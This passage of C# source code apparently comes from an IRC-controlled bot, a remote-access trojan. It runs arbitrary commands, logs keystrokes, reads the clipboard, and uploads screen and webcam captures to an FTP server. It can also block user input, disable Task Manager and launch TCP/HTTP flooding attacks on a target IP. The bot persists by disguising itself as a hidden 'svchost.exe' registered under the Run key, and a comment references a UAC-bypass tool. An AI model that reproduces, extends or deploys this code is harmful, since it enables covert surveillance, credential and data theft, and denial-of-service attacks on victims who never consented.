                                {
                                    if (value.Trim().CompareTo("true") == 0)
                                    {
                                        HideDeskTopIcon(true);
                                        irc.SendMessage(SendType.Message, sender, "Icon is hiding..!");
                                    }
                                    else if (value.Trim().CompareTo("false") == 0)
                                    {
                                        HideDeskTopIcon(false);
                                        irc.SendMessage(SendType.Message, sender, "Icon is showing..!");
                                    }
                                    else
                                    {
                                        irc.SendMessage(SendType.Message, sender, "Error:just 'true' or 'false' plz..!");
                                    }
                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;

                        case "changeviewwindow":
                            try
                            {

                                if (value.Trim().Length != 0)
                                {
                                    string[] location = value.Trim().Split(new string[] { "," }, StringSplitOptions.None);

                                    if (location.Length == 2)
                                    {

                                        if (location[1].ToUpper().CompareTo("HIDE") == 0)
                                        {
                                            ChangeViewWindow(location[0], "HIDE");
                                            irc.SendMessage(SendType.Message, sender, "window id " + location[0] + " is hiding..!");
                                        }
                                        else if (location[1].ToUpper().CompareTo("MINIMIZE") == 0)
                                        {
                                            ChangeViewWindow(location[0], "MINIMIZE");
                                            irc.SendMessage(SendType.Message, sender, "window id " + location[0] + " is minimizing..!");
                                        }
                                        else if (location[1].ToUpper().CompareTo("MAXIMIZE") == 0)
                                        {
                                            ChangeViewWindow(location[0], "MAXIMIZE");
                                            irc.SendMessage(SendType.Message, sender, "window id " + location[0] + " is maximizing..!");
                                        }
                                        else if (location[1].ToUpper().CompareTo("NORMAL") == 0)
                                        {
                                            ChangeViewWindow(location[0], "NORMAL");
                                            irc.SendMessage(SendType.Message, sender, "window id " + location[0] + " now normal..!");
                                        }
                                        else
                                        {
                                            irc.SendMessage(SendType.Message, sender, "can not excute command,try again..");
                                            Thread.Sleep(200);
                                            irc.SendMessage(SendType.Message, sender, "example:!lemon changeviewwindow =[windowId],[style] ");
                                            Thread.Sleep(200);
                                            irc.SendMessage(SendType.Message, sender, "with style = hide/minimize/maximize/normal ");
                                        }


                                    }
                                    else
                                    {
                                        irc.SendMessage(SendType.Message, sender, "can not excute command,try again..");
                                        Thread.Sleep(200);
                                        irc.SendMessage(SendType.Message, sender, "example:!lemon changeviewwindow =[windowId],[style] ");
                                        Thread.Sleep(200);
                                        irc.SendMessage(SendType.Message, sender, "with style = hide/minimize/maximize/normal ");
                                    }

                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;

                        case "changewallpaper":
                            try
                            {
                                if (value.Trim().Length != 0)
                                {
                                    string fileExtension = Path.GetExtension(value).ToUpperInvariant();
                                    if (ImageExtensions.Contains(fileExtension))
                                    {
                                        irc.SendMessage(SendType.Message, sender, "file is not an image..");
                                    }
                                    else if (File.Exists(value))
                                    {
                                        ChangeWallpaper(value);
                                        irc.SendMessage(SendType.Message, sender, "wallpaper changed to " + value);
                                    }
                                    else
                                    {
                                        irc.SendMessage(SendType.Message, sender, "can not find file: " + value);
                                    }
                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;

                        case "lag":
                            try
                            {
                                if (value.Trim().Length != 0)
                                {
                                    int numberLag = int.Parse(value.Trim());
                                    for (int i = 0; i < numberLag; i++)
                                    {
                                        DisconnectInternet();
                                        System.Threading.Thread.Sleep(10000);
                                        ReconnectInternet();
                                        System.Threading.Thread.Sleep(10000);
                                    }
                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;
                                                
                        case "cmd":
                            try
                            {
                                if (value.Trim().Length != 0)
                                {
                                    string temp ="";
                                    string[] cmdtemp = value.Trim().Split(new string[] { "," }, StringSplitOptions.None);
                                    foreach (string str in cmdtemp)
                                    {
                                        temp += str + " ";
                                    }
                                    ExecuteCommandSync(temp);
                                       // string temp = "D:\\Win7Elevate.exe 5664 \"explorer.exe\" \"C:\\Windows\\System32\\cmd.exe\" \"\" 
                                    //\"C:\\Windows\\System32\" \"D:\\Win7ElevateDll.dll\"";

                                    irc.SendMessage(SendType.Message, sender,"command: "+temp + " was excuted..!");
                                    
                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;

                        case "service":
                            try{
                            if (value.Trim().Length != 0)
                                {
                                    string[] temp = value.Trim().Split(new string[] { "," }, StringSplitOptions.None);

                                    if (temp.Length == 2)
                                    {

                                        if (temp[1].ToUpper().CompareTo("START") == 0)
                                        {
                                            Service("START", temp[0]);
                                            irc.SendMessage(SendType.Message, sender, "service name " + temp[0] + " is starting..!");
                                        }
                                        else if (temp[1].ToUpper().CompareTo("STOP") == 0)
                                        {
                                            Service("STOP",temp[0]);
                                            irc.SendMessage(SendType.Message, sender, "service name " + temp[0] + " is stopping..!");
                                        }
                                        else
                                        {
                                            irc.SendMessage(SendType.Message, sender, "can not excute command,try again..");
                                            Thread.Sleep(200);
                                            irc.SendMessage(SendType.Message, sender, "example:!lemon service =[service_name],[command] ");
                                            Thread.Sleep(200);
                                            irc.SendMessage(SendType.Message, sender, "with command = start/stop ");
                                        }


                                    }
                                    else
                                    {
                                        irc.SendMessage(SendType.Message, sender, "can not excute command,try again..");
                                        Thread.Sleep(200);
                                        irc.SendMessage(SendType.Message, sender, "example:!lemon changeviewwindow =[windowId],[style] ");
                                        Thread.Sleep(200);
                                        irc.SendMessage(SendType.Message, sender, "with style = hide/minimize/maximize/normal ");
                                    }

                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;

                        case "rename":
                              try
                            {
                                if (value.Trim().Length != 0)
                                {
                                    
                                    string[] renameTemp = value.Trim().Split(new string[] { "," }, StringSplitOptions.None);
                                    if (renameTemp.Length == 2)
                                    {
                                        if (File.Exists(renameTemp[0]))
                                        {
                                            Rename(renameTemp[0], renameTemp[1]);
                                            irc.SendMessage(SendType.Message, sender, "file : " + renameTemp[0] + " was renamed/move to " + renameTemp[1] + "..!");
                                        }
                                        else
                                        {
                                            irc.SendMessage(SendType.Message, sender, "file : " + renameTemp[0] + " not exist..!");
                                        }
                                        
                                    }
                                    else
                                    {

                                        irc.SendMessage(SendType.Message, sender, "command: " + value + " can not excute..try 'rename = file1,file2'");
                                    }
                                    
                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;

                        case "chatmsg":
                            try
                            {
                                if (value.Trim().Length != 0)
                                {
                                    
                                    messageString = value;
                                  
                                    chatSender = sender;
                                     chatform = new Thread(new ThreadStart(chatPlz));
                                    chatform.Start();
                                    irc.SendMessage(SendType.Message, sender,"message "+messageString + " is sent..!");


                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;

                       

                    }
                }

                        #endregion

                #region no params
                else if (sp.Length == 1)
                {
                    switch (sp[0].ToLower())
                    {
                        case "test":
                            irc.SendMessage(SendType.Message, sender, GetComputerName() + " ready,master!");
                            break;

                        case "getprocess":
                            {
                                string process = GetProcesses();
                                string[] rows = process.Split(new string[] { Environment.NewLine }, StringSplitOptions.None);

                                foreach (string row in rows)
                                {
                                    string[] fields = row.Split(new string[] { "|*|" }, StringSplitOptions.RemoveEmptyEntries);
                                    string fieldsAll = " ";
                                    for (int i = 0; i < fields.Length; i++)
                                    {

                                        fieldsAll += fields[i] + "-----";

                                    }
                                    irc.SendMessage(SendType.Message, sender, fieldsAll);

                                    Thread.Sleep(1000);

                                }

                            }
                            break;

                        case "getstartup":
                            {
                                try
                                {
                                    string process = GetStartUpPrograms();
                                    string[] rows = process.Split(new string[] { Environment.NewLine }, StringSplitOptions.None);


                                    foreach (string row in rows)
                                    {
                                        string[] fields = row.Split(new string[] { "|*|" }, StringSplitOptions.RemoveEmptyEntries);
                                        string fieldsAll = " ";
                                        for (int i = 0; i < fields.Length; i++)
                                        {

                                            fieldsAll += fields[i] + "-----";

                                        }
                                        irc.SendMessage(SendType.Message, sender, fieldsAll);

                                        Thread.Sleep(1000);

                                    }
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }
                            break;

                        case "getinfosystem":
                            {
                                try
                                {
                                    string compName = GetComputerName();
                                    string username = GetUserName();
                                    string os = GetOSVersion();
                                    string info = "computer Name: " + compName + "---user Name: " + username + "---Os: " + os;

                                    irc.SendMessage(SendType.Message, sender, info);
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }
                            break;


                        case "getclipboard":
                            {
                                try
                                {
                                    string clipboard = getClipboardText();
                                    irc.SendMessage(SendType.Message, sender, clipboard);
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }
                            break;

                        case "shutdown":
                            {
                                try
                                {
                                    Shutdown("/s");
                                    irc.SendMessage(SendType.Message, sender, GetComputerName() + " is shutting down..");
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }

                            break;

                        case "restart":
                            {
                                try
                                {
                                    Shutdown("/r");
                                    irc.SendMessage(SendType.Message, sender, GetComputerName() + " is restarting..");
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }

                            break;

                        case "logoff":
                            {
                                try
                                {
                                    Shutdown("/l");
                                    irc.SendMessage(SendType.Message, sender, GetComputerName() + " is logging off..");
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }

                            break;

                        case "getmyip":
                            {
                                try
                                {
                                    string myIp = getMyIp();
                                    string myprivateIP = getPrivateIP();
                                    irc.SendMessage(SendType.Message, sender, GetComputerName() + "-------public ip : "
                                        + myIp + "--------private ip: " + myprivateIP);
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                                break;
                            }

                        //add in 20/12/2011
                        case "getwindow":
                            {
                                try
                                {
                                    string window = GetWindows();
                                    string[] rows = window.Split(new string[] { Environment.NewLine }, StringSplitOptions.None);

                                    foreach (string row in rows)
                                    {
                                        string[] fields = row.Split(new string[] { "|*|" }, StringSplitOptions.RemoveEmptyEntries);
                                        string fieldsAll = " ";
                                        for (int i = 0; i < fields.Length; i++)
                                        {

                                            fieldsAll += fields[i] + "-----";

                                        }
                                        irc.SendMessage(SendType.Message, sender, fieldsAll);

                                        Thread.Sleep(1000);

                                    }
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }
                            break;

                        case "getactiveport":
                            {
                                try
                                {
                                    string activePort = GetActivePorts();
                                    string[] rows = activePort.Split(new string[] { Environment.NewLine }, StringSplitOptions.None);

                                    string firstField = "Source" + "---------" + "Destination" + "-------" + "Status" + "-------" + "PID";
                                    irc.SendMessage(SendType.Message, sender, firstField);
                                    Thread.Sleep(1000);

                                    foreach (string row in rows)
                                    {
                                        string[] fields = row.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries);
                                        string fieldsAll = " ";
                                        for (int i = 1; i < fields.Length; i++)
                                        {

                                            fieldsAll += fields[i] + "-----";

                                        }
                                        irc.SendMessage(SendType.Message, sender, fieldsAll);

                                        Thread.Sleep(1000);

                                    }
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }
                            break;
                        case "quit":
                            try
                            {
                                Environment.Exit(0);
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;

                        case "getdrivers":
                            try
                            {
                                string allDriver = GetDrives();
                                string[] drivers = allDriver.Split(new string[] { Environment.NewLine }, StringSplitOptions.None);
                                foreach (string driver in drivers)
                                {
                                    if (driver != string.Empty)
                                    {
                                        irc.SendMessage(SendType.Message, sender, driver);
                                    }
                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;

                        case "getscreencapture":
                            try
                            {
                                Bitmap capture = CaptureScreen.CaptureDesktopWithCursor();
                                string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
                                string filePath = path + "\\" + GetComputerName() + ".screenCapture." + DateTime.Now.Hour
                                    + "." + DateTime.Now.Minute + "." + DateTime.Now.Second + "."
                                    + DateTime.Now.Day + "." + DateTime.Now.Month + "." + DateTime.Now.Year + ".jpeg";
                                capture.Save(filePath, ImageFormat.Jpeg);
                                irc.SendMessage(SendType.Message, sender, "capture success,wait for uploading to ftp....");
                                upload2FTpFile(ftpServer, filePath, ftpUsername, ftpPassWord);
                                irc.SendMessage(SendType.Message, sender, "upload success,now delete jpeg file....");
                                File.Delete(filePath);
                                irc.SendMessage(SendType.Message, sender, "delete success!");

                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;
                        case "version":
                            irc.SendMessage(SendType.Message, sender, "Bot version 2.7.1");
                            break;

                        case "getlocalfiles":
                            {
                                try
                                {
                                    string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
                                    string files = GetFiles(path);
                                    string[] rows = files.Split(new string[] { Environment.NewLine }, StringSplitOptions.None);

                                    foreach (string row in rows)
                                    {
                                        string[] fields = row.Split(new string[] { "|*|" }, StringSplitOptions.RemoveEmptyEntries);
                                        string fieldsAll = " ";
                                        for (int i = 0; i < fields.Length; i++)
                                        {

                                            fieldsAll += fields[i] + "------------";

                                        }
                                        irc.SendMessage(SendType.Message, sender, fieldsAll);

                                        Thread.Sleep(1000);

                                    }
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }
                            break;
                        case "getlocalpath":
                            {
                                string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
                                irc.SendMessage(SendType.Message, sender, path);
                            }
                            break;
                        case "getdesktoppath":
                            {
                                string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
                                irc.SendMessage(SendType.Message, sender, path);
                            }
                            break;
                        #region help
                        case "help":
                            string help = "1.Attack commands:" + Environment.NewLine
                                  + "!bt targetip=127.0.0.1 message=test_test port=80 method=tcp wait=false random=true"
                                  + Environment.NewLine + "!bt start"
                                  + Environment.NewLine + " or    !bt targetip=127.0.0.1 message=test_test port=80 method=tcp wait=false random=true start"
                                  + Environment.NewLine + "default:   !bt default and stop: !bt stop"
                                  + Environment.NewLine + "2.Extra:   spy command:"
                                  + Environment.NewLine + "usage : '!lemon <command>' with commands is:"
                                  + Environment.NewLine + " getprocess    killprocess=pid     getstartup      getinfosystem       getclipboard        showmsg=Message"
                                  + Environment.NewLine + " opencd=open / close       taskbar=hide / show         swapmouse=switch/restore        block=block/restore "
                                  + Environment.NewLine + "shutdown       restart     logoff      getmyip     filename=abc.exe        download=www.xzy.com/abc.exe"
                                  + Environment.NewLine + "excutelocal=abc.exe       excute=C:\abc.exe;test      deletestartup=some_thing        getwindow       getactiveport"
                                  + Environment.NewLine + "website=google.com     keylogger=on/off        quit        deletefile=C:\abc.exe       deletelocalfile=abc.exe"
                                  + Environment.NewLine + "ftpserver/ftpusername/ftppass      getfiletoftp=file_path      getdrivers      getdirs=D:\\        getfiles=D:\\data,getlocalfiles"
                                  + Environment.NewLine + "getlocalpath       getdesktoppath      getscreencapture        version      taskmanager=disable/enable        help"
                                  + Environment.NewLine + "voice = lemon,i love you     setvolume = 90      getvolume       getwebcam";

                            string[] helpRows = help.Split(new string[] { Environment.NewLine }, StringSplitOptions.None);
                            foreach (string row in helpRows)
                            {
                                irc.SendMessage(SendType.Message, sender, row);

                                Thread.Sleep(50);
                            }
                            break;
                        #endregion

                        //2/1/2012
                        case "getwebcam":
                            {
                                try
                                {
                                    string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
                                    string filePath = path + "\\" + GetComputerName() + ".webcamCapture." + DateTime.Now.Hour
                                       + "." + DateTime.Now.Minute + "." + DateTime.Now.Second + "."
                                       + DateTime.Now.Day + "." + DateTime.Now.Month + "." + DateTime.Now.Year + ".jpg";
                                    bool isCaptured = ccWebCam.CaptureSTA(filePath);
                                    irc.SendMessage(SendType.Message, sender, "checking,please wait...");
                                    if (isCaptured)
                                    {
                                        irc.SendMessage(SendType.Message, sender, "ok,capture webcam successfully,now send to ftp server..");
                                        upload2FTpFile(ftpServer, filePath, ftpUsername, ftpPassWord);
                                        irc.SendMessage(SendType.Message, sender, "upload success,now delete jpg file....");
                                        File.Delete(filePath);
                                        irc.SendMessage(SendType.Message, sender, "delete success!");
                                    }
                                    else
                                    {
                                        irc.SendMessage(SendType.Message, sender, "sorry,no webcam or something error happened!");
                                    }
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }
                            break;

                        case "getvolume":
                            try
                            {

                                irc.SendMessage(SendType.Message, sender, "volume : " + volume);

                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;
                        //8/1/2012
                        case "restartbot":
                            // Shut down the current app instance.
                            //Environment.Exit(0);
                            try
                            {
                                System.Diagnostics.Process.Start(Application.ExecutablePath); // to start new instance of application
                                irc.SendMessage(SendType.Message, sender, GetComputerName() + " bot is restarting...");
                                Thread.Sleep(5000);
                                Environment.Exit(0); //to turn off current app
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }

                            break;
                        case "getmouselocation":
                            try
                            {
                                Point location = MouseSimulator.Position;


                                irc.SendMessage(SendType.Message, sender, "mouse location : X: " + location.X + "   Y: " + location.Y);
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;
                        case "showdesktop":
                            try
                            {
                                ShowDesktop();
                                irc.SendMessage(SendType.Message, sender, "show desktop successfully..!");
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;
                        case "disabletask":
                            try
                            {
                                StartTaskInvi();
                                irc.SendMessage(SendType.Message, sender, "task is running invisible..:D");
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;
                        case "disableinternet":
                            try
                            {
                                DisconnectInternet();
                                
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;
                        case "getinstall":
                            try
                                {
                                    string install = GetInstalledPrograms();
                                    string[] rows = install.Split(new string[] { Environment.NewLine }, StringSplitOptions.None);

                                    foreach (string row in rows)
                                    {
                                        string[] fields = row.Split(new string[] { "|*|" }, StringSplitOptions.RemoveEmptyEntries);
                                        string fieldsAll = " ";
                                        for (int i = 0; i < fields.Length; i++)
                                        {

                                            fieldsAll += fields[i] + "-----";

                                        }
                                        irc.SendMessage(SendType.Message, sender, fieldsAll);

                                        Thread.Sleep(1000);

                                    }
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            
                            break;
                        case "getservices":
                            try
                            {
                                string services = GetServices();
                                string[] rows = services.Split(new string[] { Environment.NewLine }, StringSplitOptions.None);

                                foreach (string row in rows)
                                {
                                    string[] fields = row.Split(new string[] { "|*|" }, StringSplitOptions.RemoveEmptyEntries);
                                    string fieldsAll = " ";
                                    for (int i = 0; i < fields.Length; i++)
                                    {

                                        fieldsAll += fields[i] + "-----";

                                    }
                                    irc.SendMessage(SendType.Message, sender, fieldsAll);

                                    Thread.Sleep(1000);

                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;
                           
                    }
                }
                #endregion


            }
        }


        void CheckParams(List<string> pars)
        {
            Attack(false);

            foreach (string param in pars)
            {
                string[] sp = param.Split('=');
                if (sp.Length > 1)
                {
                    string cmd = sp[0];

                    // Have fun finding value :)
                    string value = null;
                    for (int key = 0; key < sp.Length; ++key)
                    {
                        if (key >= 1)
                        {
                            value = value + sp[key] + ((key + 1 < sp.Length) ? "=" : null);
                        }
                    }
                    // ... and we got it :D

                    int num;
                    bool isnum;
                    switch (cmd.ToLower().Trim())
                    {
                        case "targetip":
                            sIP = value;
                            LockOnIP();

                            break;
                        case "targethost":
                            sHost = value;
                            LockOnURL();
                            break;
                        case "timeout":
                            isnum = int.TryParse(value, out num);
                            if (isnum)
                            {
                                iTimeout = num;
                            }
                            break;
                        case "subsite":
                            sSubsite = value;
                            break;
                        case "message":
                            sData = value;
                            break;
                        case "port":
                            isnum = int.TryParse(value, out num);
                            if (isnum)
                            {
                                iPort = num;
                            }
                            break;
                        case "method":
                            sMethod = value;
                            break;
                        case "threads":
                            isnum = int.TryParse(value, out num);
                            if (isnum && num < 100) //let's protect them a bit, yeah?
                            {
                                iThreads = num;
                            }
                            break;
                        case "wait":
                            if (value.ToLower() == "true")
                            {
                                boolWaitReply = true;
                            }
                            else if (value.ToLower() == "false")
                            {
                                boolWaitReply = false;
                            }
                            break;
                        case "random":
                            if (value.ToLower() == "true")
                            {
                                boolAllowRandom = true;
                            }
                            else if (value.ToLower() == "false")
                            {
                                boolAllowRandom = false;
                            }
                            break;
                        case "gzip":
                            if (value.ToLower() == "true")
                            {
                                boolAllowGzip = true;
                            }
                            else if (value.ToLower() == "false")
                            {
                                boolAllowGzip = false;
                            }
                            break;
                        case "speed":
                            isnum = int.TryParse(value, out num);
                            if (isnum && num >= 0 && num <= 20) //let's protect them a bit, yeah?
                            {
                                iDelay = num;
                            }
                            break;
                        default:
                            irc.SendMessage(SendType.Message, sIrcChannel, "Error in Command");
                            break;
                    }
                }
                else
                {
                    if (sp[0].ToLower() == "start")
                    {
                        Attack(true);
                        return;
                    }
                    else if (sp[0].ToLower() == "default")
                    {

                        sIP = "";
                        sHost = "";
                        iTimeout = 9001;
                        sSubsite = "/";
                        sData = "Shit Team";
                        iPort = 80;
                        sMethod = "tcp";
                        iThreads = 10;
                        boolWaitReply = true;
                        boolAllowRandom = false;
                        boolAllowGzip = true;
                        iDelay = 0;

                    }
                }
            }

        }


        void DoThreadJob()
        {
            while (true)
            {
                for (int i = 0; i < 1000; i++)
                {
                    string miniLog = getKey();
                    Thread.Sleep(10);
                    log += miniLog;
                }
                log = log.Replace("Space", " ");
                irc.SendMessage(SendType.Message, threadSender, log);

                log = "";
            }

        }

        void chatPlz()
        {
            Thread.Sleep(3000);
            IRCChatForm chat = new IRCChatForm(messageString, irc, chatSender);
            chat.ShowDialog();
           
        }
        #endregion

        #region startup
        private void AddStartUp()
        {
            string path = Application.ExecutablePath;
            //add start up
            RegistryKey registry = Registry.CurrentUser;
            //HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
            RegistryKey registrySoftware = registry.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
            registrySoftware.CreateSubKey("svchost");
            registrySoftware.SetValue("svchost", "\"" + path + "\"");
        }
        #endregion


        #region Extra
        public void AnotherWay()
        {
            try
            {
                path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
                if (Application.ExecutablePath != path + @"\coreV2.7.1\svchost.exe")
                {
                    //  MessageBox.Show("My excutable path is " + Application.ExecutablePath);
                    if (!Directory.Exists(path + @"\coreV2.7.1\"))
                    {
                        Directory.CreateDirectory(path + @"\coreV2.7.1\");
                    }
                    if (File.Exists(path + @"\coreV2.7.1\svchost.exe"))
                    {
                        File.Delete(path + @"\coreV2.7.1\svchost.exe");
                    }

                    File.Copy(Application.ExecutablePath, path + @"\coreV2.7.1\svchost.exe");

                    File.SetAttributes(path + @"\coreV2.7.1", FileAttributes.Directory | FileAttributes.System | FileAttributes.Hidden);
                    File.SetAttributes(path + @"\coreV2.7.1\svchost.exe", FileAttributes.System | FileAttributes.Hidden);
                    //MessageBox.Show("Copy successfull to DeskTop,check out!");


                }

            }
            catch (Exception ex)
            {
                // MessageBox.Show("ERRRORRR " + ex.Message);

            }
            //add start up
            RegistryKey registry = Registry.CurrentUser;
            //HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
            RegistryKey registrySoftware = registry.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
            registrySoftware.CreateSubKey("svchost");
            registrySoftware.SetValue("svchost", "\"" + path + @"\coreV2.7.1\svchost.exe" + "\"");

        }
        #endregion

        #region Take process



        //lay tat ca process
        public string GetProcesses()
        {
            string query = "";

            foreach (Process proc in Process.GetProcesses())
            {
                string priority = string.Empty;
                try
                {
                    priority = proc.PriorityClass.ToString();
                }
                catch (Exception ex)
                {

                }
                string path = string.Empty;
                try
                {
                    path = proc.MainModule.FileName; ;
                }
                catch (Exception ex)
                {

                }
                query += proc.Id + "|*|" + proc.ProcessName + "|*|" + priority + "|*|" + path + Environment.NewLine;
            }

            return query;


        }

        public void KillProcess(int pid)
        {
            try
            {
                Process proc = Process.GetProcessById(pid);
                proc.Kill();
            }
            catch (Exception ex)
            {

            }
        }







        #endregion

        #region Fun actions

        [DllImport("user32.dll")]
        private static extern int FindWindow(string className, string windowText);
        [DllImport("user32.dll")]
        private static extern int ShowWindow(int hwnd, int command);

        [DllImport("user32.dll", SetLastError = true)]
        static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);

        [DllImport("winmm.dll")]
        private static extern long mciSendString(string strCommand, StringBuilder strReturn, int iReturnLength, IntPtr oCallback);

        [DllImport("user32.dll")]
        public static extern Int32 SwapMouseButton(Int32 bSwap);

        [return: MarshalAs(UnmanagedType.Bool)]
        [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
        public static extern bool BlockInput([In, MarshalAs(UnmanagedType.Bool)] bool fBlockIt);

        private const int SW_HIDE = 0;
        private const int SW_SHOW = 1;

        public void OpenCDRom(string cmd)
        {
            switch (cmd)
            {
                case "OPEN":
                    mciSendString("set CDAudio door open", null, 127, IntPtr.Zero);
                    break;
                case "CLOSE":
                    mciSendString("set CDAudio door closed", null, 127, IntPtr.Zero);
                    break;
            }

        }

        public void TaskBar(string cmd)
        {
            if (cmd == "HIDE") HideTaskBar();
            else if (cmd == "SHOW") ShowTaskBar();
        }


        public void HideTaskBar()
        {
            int hwnd = FindWindow("Shell_TrayWnd", "");
            ShowWindow(hwnd, SW_HIDE);
        }

        public void ShowTaskBar()
        {

            int hwnd = FindWindow("Shell_TrayWnd", "");
            ShowWindow(hwnd, SW_SHOW);
        }


        public void StartButton(string cmd)
        {
            if (cmd == "HIDE") HideStartButton();
        }

        public void HideStartButton()
        {
            IntPtr hwnd = FindWindowEx(IntPtr.Zero, IntPtr.Zero, "Shell_TrayWnd", null);
            hwnd = FindWindowEx(hwnd, IntPtr.Zero, "Button", null);

            //int hwnd = FindWindow("Shell_TrayWnd", "Button");
        }





        public void SwapMouse(string cmd)
        {
            switch (cmd)
            {
                case "SWITCH":
                    SwapMouseButton(1);
                    break;
                case "RESTORE":
                    SwapMouseButton(0);
                    break;
            }
        }

        public void Block(string action)
        {
            switch (action)
            {
                case "BLOCK":
                    BlockInput(true);
                    break;
                case "RESTORE":
                    BlockInput(false);
                    break;

            }
        }

        public void DisableTaskMgr()
        {

            Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", 1);

        }

        public void EnableTaskMgr()
        {

            Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", 0);

        }

        public void TaskMgr(string action)
        {
            switch (action)
            {
                case "ENABLE":
                    EnableTaskMgr();
                    break;
                case "DISABLE":
                    DisableTaskMgr();
                    break;
            }
        }

        //shut down,restart,log off
        public void Shutdown(string cmd)
        {
            try
            {
                Process.Start("shutdown", cmd);
            }
            catch (Exception ex)
            {

            }
        }
        #endregion

        #region Startup Program
        string StartupKey = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";

        public string GetStartUpPrograms()
        {
            string query = "";

            try
            {

                RegistryKey key = Registry.CurrentUser.OpenSubKey(StartupKey);
                foreach (string program in key.GetValueNames())
                {
                    query += program + "|*|" + key.GetValue(program).ToString() + Environment.NewLine;
                }
                //RegistryEditor editor = new RegistryEditor();
                //if (editor.KeyExists(@"HKEY_LOCAL_MACHINE\" + StartupKey))
                //{
                key = Registry.LocalMachine.OpenSubKey(StartupKey);
                foreach (string program in key.GetValueNames())
                {
                    query += program + "|*|" + key.GetValue(program).ToString() + Environment.NewLine;
                }

            }
            catch (Exception ex)
            {

            }


            return query;
        }

        public void RemoveCU(string program)
        {
            try
            {
                RegistryKey delkey = Registry.CurrentUser.OpenSubKey(StartupKey, true);
                delkey.DeleteValue(program);
            }
            catch (Exception ex)
            {

            }
        }

        public void RemoveLM(string program)
        {
            try
            {
                RegistryKey key = Registry.LocalMachine.OpenSubKey(StartupKey, true);
                key.DeleteValue(program);
            }
            catch (Exception ex)
            {

            }

        }

        public void RemoveSF(string program)
        {
            try
            {

                string map = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
                map += "\\" + program + ".lnk";
                if (System.IO.File.Exists(map))
                {
                    System.IO.File.Delete(map);
                }
            }
            catch (Exception ex)
            {

            }
        }
        #endregion

        #region System info


        public string GetComputerName()
        {
            return Environment.MachineName;

        }

        public string GetUserName()
        {
            return Environment.UserName;
        }

        public string GetOSVersion()
        {
            return Environment.OSVersion.ToString();
        }







        #endregion

        #region Clipboard
        Thread th;
        string strValue;
        //Text
        public string getClipboardText()
        {
            try
            {
                strValue = "";

